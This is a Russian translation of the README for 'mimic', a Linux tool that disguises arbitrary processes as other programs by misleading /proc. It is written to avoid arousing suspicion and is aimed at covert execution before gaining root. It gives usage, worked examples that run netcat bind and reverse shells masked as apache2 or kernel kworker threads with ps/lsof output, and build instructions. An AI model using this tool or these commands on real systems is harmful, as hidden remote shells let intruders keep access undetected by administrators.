
Скрытие процессов от обычного пользователя в Linux.
mimic — это инструмент для скрытого выполнения на Linux x86_64.
Что такое «скрытое выполнение»?
Скрытое выполнение — это искусство сокрытия процесса. В данном случае mimic скрывает процесс на виду. mimic может запустить любую программу и сделать её похожей на любую другую программу. Любой пользователь может его использовать. Для этого не требуются специальные привилегии. Не требуются специальные бинарные файлы. Не требуется руткит.
Что?! Без специальных привилегий??
Верно. mimic работает, перестраивая внутренние структуры процесса таким образом, что это вводит в заблуждение запись /proc для этого процесса. Все инструменты, сообщающие о природе процесса, делают это, изучая /proc. Если мы можем изогнуть /proc, то мы можем скрыть процесс на виду. Поскольку мы изменяем только состояние процесса, которым владеем, любой может успешно запустить mimic.
Можно ли это обнаружить?!
Конечно, но только если вы присматриваетесь очень внимательно или запускаете криминалистический инструмент, который ищет подобные вещи. Полезность mimic заключается в том, что он предотвратит возникновение подозрений изначально.
Будет ли это работать со скриптами?
Да, но вам нужно вызывать mimic напрямую для интерпретатора. Например, если первая строка вашего скрипта — "#!/usr/bin/perl", то вы захотите вызвать mimic так:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
Вызывая интерпретатор напрямую, mimic может творить своё волшебство.
Кто является целевой аудиторией mimic?
Любой, кому законно необходимо скрытое выполнение до получения root. Это включает, но не ограничивается:
Почему это называется «mimic»?
Потому что «Лжец, лжец, /proc горит!» было слишком длинно.
Что такое «set_target_pid»?
set_target_pid — это небольшая вспомогательная программа в комплекте mimic, которая будет исчерпывать pid-ы до тех пор, пока нужный вам не вернётся. Это позволяет вам выбрать место в списке процессов, где будет находиться ваш процесс. Обратите внимание, что ядро резервирует первые 300 pid-ов для потоков ядра. Если вы попытаетесь опуститься ниже этого числа, скорее всего, вы получите pid 301.
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e Execute COMMAND.
-m Setup COMMAND to look like MIMIC.
Default for non-root is: "/usr/sbin/apache2 -k start"
Default for root is: "[kworker/0:0]"
-b Launch COMMAND in the background.
-a Add / overwrite KEY to the mimic environment with associated VALUE.
-q Be quiet! Do not print normal output.
-h Print this helpful message.
Notes:
The MIMIC environment will be a copy of the COMMAND environment.
The '_' variable is automatically changed.
The -a flag can be called multiple times to add / overwrite multiple variables.
Examples:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
Первый пример — запуск слушателя netcat от имени обычного пользователя:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!
Good-bye and have a good luck! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
Второй пример — запуск обратной оболочки netcat от root:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
Сможете ли вы заметить поддельные kworker? Смогли бы вы без помощи grep?
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
Конечно, ни один kworker не должен иметь открытого сокета, но я уверен, что вы можете быть более креативны в выборе имён, чем это. :)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
Обратите внимание, что я запускаю здесь от root только потому, что поток kworker должен быть очень подозрительным при запуске от непривилегированного пользователя. Новое имя mimic — это просто строка. Оно не должно быть существующим процессом. Да оно вообще не обязано быть реальной вещью!
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make